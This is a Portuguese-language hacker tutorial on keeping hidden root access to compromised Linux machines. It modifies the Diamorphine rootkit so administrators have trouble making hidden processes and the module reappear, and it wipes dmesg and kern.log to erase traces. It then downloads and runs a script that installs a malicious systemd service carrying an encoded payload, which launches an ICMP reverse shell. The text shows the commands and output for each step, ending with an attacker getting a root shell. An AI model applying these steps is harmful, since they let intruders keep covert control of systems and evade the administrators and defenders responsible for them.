.

.

Combinação de persistência para Linux

Autor: @matheuzsec

    [ Combinação de persistência para Linux ]

    _* Serviço malicioso SystemD + backdoor icmp + rootkit diamorfina com algumas coisas modificadas *_ 
    
    
                      ,____
                      |---.\
              ___     |    `	              __.....__
             / .-\  ./=	                    .'         ':,
            |  |"|_/\/|                    /  __  _  __  \\
            ;  |-;| /_|                    | |_)) || |_))||
           / \_| |/ \ |                    | | \\ || |   ||       
          /      \/\( |                    |             ||   _,
          |   /  |` ) |		           |  Sysadmin   ||.-(_{}
          /   \ _/    |	                   |   DEAD      |/    `
         /--._/  \    |		         \\|       {}_)-,||
         `/|)    |    /		         \\;/,,;;;;;;;,\\|//,
           /     |   |		        .;;;;;;;;;;;;;;;;,
         .'      |   |		       \,;;;;;;;;;;;;;;;;,//
        /         \  |		      \\;;;;;;;;;;;;;;;;,//
       (_.-.__.__./  /		     ,\';;;;;;;;;;;;;;;;'
    
    
    
    ************************     SUMÁRIO    *********************************			
    * 1 - Visão geral							                           *		
    * 2 - Modificando algumas coisas em diarmophine.h		               *
    * 3 - Setup SystemD malicioso com icmp backdoor e em execução	       *		.-~-.-~-.-~ Paper de MatheuZ	  	
    * 4 - Fechamento e agradecimento				                       *			
    * 5 - Hackeie todas as coisas!					                       *		
    ************************************************************************	
    
    [$] CAPÍTULO 1 
        
    >>------> Visão geral
    
    Nesse paper vou mostrar e ensinar um combo bem atrativo, então basicamente vamos usar uma versão modificada
    do meu script (https://raw.githubusercontent.com/MatheuZSecurity/systemd-backdoor/main/systemd.sh) que fiz para
    automatize o backdoor do systemd. Usaremos esta versão modificada para carregar um serviço malicioso, ou seja, um systemd
    persistência com icmp backdoor, em combinação com o rootkit diamorfina com algumas coisas alteradas, você pode usar
    outro rootkit, mas estou usando diamorfina apenas por exemplo.
   
    No rootkit diamorfina, vamos apenas mudar seu sigkill. O sigkill para retornar os processos é 63, e nós
    pode alterar para 62 por exemplo, dificultando assim para o administrador do sistema, ou qualquer outra pessoa fazer seus processos
    reaparecer.
   
    Além de alterar o sigkill do processo, também podemos alterar o "magic_prefix", o nome do módulo, sigkill
    para se tornar "invisível", sigkill para se tornar root e sigkill para fazer todos os processos ocultos reaparecerem.
   
    E fazendo essas alterações nas configurações do rootkit diamorfina, usando icmp backdoor em uma espécie de systemd malicioso
    serviço, você obtém uma combinação extremamente boa.
   
    NOTA: O serviço malicioso reiniciará a cada 5 segundos, o objetivo disso é demonstrar que o uso do systemd
    para criar serviços maliciosos e usar rootkits pode ser muito útil quando você vai manter a persistência.
    
    [$] CAPÍTULO 2
    
    Primeiro teremos que baixar o rootkit diamorfina que está disponível no github do m0nad (btw obrigado m0nad por
    criando este incrível rootkit que abriu portas para muitas pessoas estudarem sobre rootkits).
    
    root@phantom:~/paper# git clone https://github.com/m0nad/Diamorphine
    Cloning into 'Diamorphine'...
    remote: Enumerating objects: 141, done.
    remote: Counting objects: 100% (65/65), done.
    remote: Compressing objects: 100% (23/23), done.
    remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76
    Receiving objects: 100% (141/141), 32.26 KiB | 5.38 MiB/s, done.
    Resolving deltas: 100% (77/77), done.
    root@phantom:~/paper# 
    
    agora que baixamos a diamorfina, vamos mover os seguintes arquivos: diamorfina.c para rk.c e diamorfina.h
    para rk.h.
    
    root@phantom:~/paper/Diamorphine# mv diamorphine.c rk.c
    root@phantom:~/paper/Diamorphine# mv diamorphine.h rk.h
    root@phantom:~/paper/Diamorphine# 
    
    Bem, agora que renomeamos os arquivos, podemos fazer algumas alterações em rk.h.
    
    #define MAGIC_PREFIX "undetect4ble"
    
    #define PF_INVISIBLE 0x10000000
    
    #define MODULE_NAME "rk"
    
    enum {
            SIGINVIS = 33,
            SIGSUPER = 64,
            SIGMODINVIS = 62,
    };
    
    resumindo o que mudei, mudei o "MAGIC_PREFIX" para "undetect4ble" ou seja, quando criamos uma pasta chamada
    "undetect4ble_dir", esta pasta fica invisível e você não pode vê-la usando ls, dir e qualquer programa que
    retorna todas as entradas de um diretório.

    Eu também mudei o nome do módulo para rk.

    e por fim os tão famosos sigkills, na diamorfina existem 3 sigkills que é uma de suas características.

    1 - sigkill 31 que serve para você esconder algum processo
    2 - sigkill 64 0 que é para você virar root
    3 - sigkill 63 0 traz de volta o "módulo" que estava escondido quando carregamos a diamorfina, e com o módulo
    visível, você pode removê-lo usando rmmod

    Também precisamos alterar em rk.c o "#include diamorphine.h" para "#include rk.h".

    E finalmente edite o "Makefile". Troque diamorfina.o por rk.o.
    
    obj-m := rk.o
    CC = gcc -Wall 
    KDIR := /lib/modules/$(shell uname -r)/build
    PWD := $(shell pwd)
    
    all:
            $(MAKE) -C $(KDIR) M=$(PWD) modules
    
    clean:
            $(MAKE) -C $(KDIR) M=$(PWD) clean
    
    
    Agora é só compilar e carregar o módulo.
    
    root@phantom:~/paper/Diamorphine# ls rk* M*
    Makefile  rk.c  rk.h
    root@phantom:~/paper/Diamorphine# make
    make -C /lib/modules/5.15.0-56-generic/build M=/root/paper/Diamorphine modules
    make[1]: Entering directory '/usr/src/linux-headers-5.15.0-56-generic'
        CC [M]  /root/paper/Diamorphine/rk.o
        MODPOST /root/paper/Diamorphine/Module.symvers
        CC [M]  /root/paper/Diamorphine/rk.mod.o
        LD [M]  /root/paper/Diamorphine/rk.ko
        BTF [M] /root/paper/Diamorphine/rk.ko
    Skipping BTF generation for /root/paper/Diamorphine/rk.ko due to unavailability of vmlinux
    make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-56-generic'
    root@phantom:~/paper/Diamorphine# 
    root@phantom:~/paper/Diamorphine# insmod rk.ko
    root@phantom:~/paper/Diamorphine# 
    
    Agora podemos ver que nosso módulo foi carregado com sucesso.
    
    root@phantom:~/paper/Diamorphine# dmesg
    [ 1822.281956] rk: module is already loaded
    root@phantom:~/paper/Diamorphine#
    root@phantom:~/paper/Diamorphine# cat /var/log/kern.log | grep "rk: module"
    Dec 26 14:04:18 phantom kernel: [ 1822.281956] rk: module is already loaded
    root@phantom:~/paper/Diamorphine# 
    
    É sempre importante que você limpe os logs kern.log e dmesg.
    
    root@phantom:~/paper/Diamorphine# dmesg --clear
    root@phantom:~/paper/Diamorphine# cat /dev/null > /var/log/kern.log
    
    O rootkit já está preparado e carregado para uso.
    
    [$] CAPÍTULO 3
    
    Agora que carregamos o rootkit, precisamos configurar o systemd malicioso que irá carregar o "cliente
    "que vamos usar para conectar a máquina através do "servidor".

    Para isso, usaremos uma versão alternativa do meu script de @ferreiraklet
        
    >>------>  https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh -> código
    
    
    OBS: como modificamos algumas coisas no rootkit, precisaremos alterar o sigkill 31 que está no
    roteiro para 33.
    
    root@phantom:~# wget https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh && chmod +x persistence.sh
    --2023-01-05 16:52:51--  https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh
    Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
    Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 29926 (29K) [text/plain]
    Saving to: ‘persistence.sh’
    
    persistence.sh          100%[================================================================>]  29,22K  --.-KB/s    in 0,003s  
    
    2023-01-05 16:52:51 (10,2 MB/s) - ‘persistence.sh’ saved [29926/29926]
    
    root@phantom:~# sed -i 's/kill -31 {}/kill -33 {}/g'  persistence.sh 
    root@phantom:~# 
    
    Agora que alteramos o sigkill de 31 para 33, podemos executar o script.

    root@phantom:~# systemctl status persistence
    ● persistence.service - Systemd Persistence
            Loaded: loaded (/etc/systemd/system/persistence.service; enabled; preset: enabled)
            Active: active (running) since Thu 2023-01-05 21:24:22 UTC; 1s ago
        Main PID: 2458 (bash)
            Tasks: 5 (limit: 4547)
            Memory: 1.1M
            CPU: 24ms
            CGroup: /system.slice/persistence.service
                    ├─2458 /bin/bash -c "echo f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABIAAAAAAABAAAAAAAAAALhBAAAAAAAAAAAAAEAAOAALAEAAHgAAA>
                    ├─2462 ./client
                    ├─2463 sleep 3
                    └─2464 /bin/sh
                    
    root@phantom:~# 
    
    Observe que nosso serviço malicioso já está rodando, agora é só conectar usando "server" e gg, systemd persistence com icmp
    backdoor e um rootkit com algumas coisas alteradas funcionando perfeitamente.

    Agora na máquina do atacante.
    
    root@mtzbox:~# git clone https://github.com/ferreiraklet/icmp_reverse_shell
    Cloning into 'icmp_reverse_shell'...
    remote: Enumerating objects: 66, done.
    remote: Counting objects: 100% (66/66), done.
    remote: Compressing objects: 100% (58/58), done.
    remote: Total 66 (delta 31), reused 13 (delta 6), pack-reused 0
    Receiving objects: 100% (66/66), 21.76 KiB | 1.81 MiB/s, done.
    Resolving deltas: 100% (31/31), done.
    root@phantom:~# cd icmp_reverse_shell/
    root@phantom:~/icmp_reverse_shell# make
    cc client.c -o client -pthread
    cc server.c -o server -pthread
    root@phantom:~/icmp_reverse_shell# ls
    buffer.h  client  client.c  icmp_shell.h  LICENSE  Makefile  README.md  server  server.c
    root@mtzbox:~/icmp_reverse_shell# 
    
    
    
    root@mtzbox:~/icmp_reverse_shell# ./server $IP (Here you will put the ip of the target machine to be able to connect)
    cmd #
    id
    uid=0(root) gid=0(root) groups=0(root)
    pwd
    /root
    echo "gg"
    gg
    ^C
    root@mtzbox:~/icmp_reverse_shell# 
    
    [$] CAPÍTULO 4
    
    >>-;;;------;;--> Obrigado por ler o jornal, espero que gostem, se alguém tiver alguma dúvida pode me contatar no discord:
    MatheuZ#8923. 
    
    [$] CAPÍTULO 5 - End
    
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⡿⠿⢿⣿⣷⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⣷⣠⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⡄⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⣿⣟⠉⢹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠿⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠁⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⣴⣾⣿⣿⣿⣿⣶⡀⢀⣾⣿⣿⠋⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠹⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⢸⣿⡁⠀⠀⢀⣿⣿⢇⣾⣿⣿⠃⠀⠀⠀⠀⠀⠀⣿⡈⠙⢿⣿⣿⣿⠿⠋⢩⡇⠀⠀⠀⠀⠀⠀⠙⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀
    ⠈⠛⠛⣠⣴⣿⡿⠋⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⣿⣿⣶⣾⣿⣿⣿⣷⣶⣿⡇⠀⠀⠀⠀⠀⠀⠀⣻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⣠⣾⣿⡿⠋⠀⠀⢻⣿⣿⣷⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⢠⣿⣿⣏⣠⣤⣶⣤⠀⠀⠀⠀- Hackeie todas as coisas
    ⢰⣿⣿⣟⠀⠀⠀⠀⠘⢿⣿⣿⣿⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣴⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀
    ⢸⣿⣿⣿⣦⣄⣀⠀⠀⠀⠉⠙⠛⠛⢿⣿⣿⣿⣿⣿⣿ MATHEUZ ⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⢻⣿⣄⠀⠀⠀⠀⠀⠀⠀
    ⠀⠙⠿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠈⢿⣿⣶⣄⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠈⠉⠉⠙⠛⠛⠛⠛⠛⣿⣿⣿⣿⠟⢋⣿⣿⣿⡿⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠙⢿⣿⣧⡀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠟⠁⠀⣿⣿⣿⠟⠀⠀⢀⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠈⢿⣿⣷⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠏⠀⠀⢸⣿⣿⣿⠀⠀⠀⢸⣿⣿⣿⠀⠈⢻⣿⣿⣿⢿⣿⣿⣦⡀⠀⠀⠀⣸⣿⣿⠀⣀⡄
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠀⠀⠀⠸⣿⣿⣿⠀⠀⠀⢻⣿⣿⣿⠀⠀⠀⢻⣿⣿⡆⠹⢿⣿⣿⣶⣶⣾⣿⣿⣿⣿⠋⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠀⠀⠀⢿⣿⣿⡆⠀⠀⠸⣿⣿⣿⡄⠀⠀⠀⢿⣿⣿⠀⠀⠙⠛⠿⠿⠿⠛⠋⢸⣿⠀⠀
    ⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠘⣿⣿⣿⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀
    ⠀⠀⠀⢠⣶⣿⣿⠿⠋⠁⠒⠛⢻⣷⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⣠⣿⣿⣿⢃⣴⣿⠟⠛⢿⣿⣿⡄⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⠀
    ⠀⠀⢰⣿⣿⠟⠁⠀⠀⠀⠀⢀⣾⡟⠀⠀⠀⠀⠀⠘⣿⣿⣧⣾⣿⣿⠟⠁⣾⣿⡇⠀⠀⠘⢿⣿⣿⣦⡀⠀⠀⣀⣴⣿⣿⠃⠀⠀
    ⠀⠀⣿⣿⡇⠀⠀⢀⡄⠀⢠⣿⣿⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⢿⣿⣇⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀
    ⠀⠀⠹⣿⣷⣄⣀⣼⡇⠀⢸⣿⣿⡀⠀⠀⠀⠀⣠⣿⣿⣿⡿⠋⠀⠀⠀⠀⢸⣿⣿⡀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠈⠛⠛⠛⠋⠀⠀⠀⢻⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠛⠛⠛⠛⠉⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣷⣄⣀⠀⢀⣀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀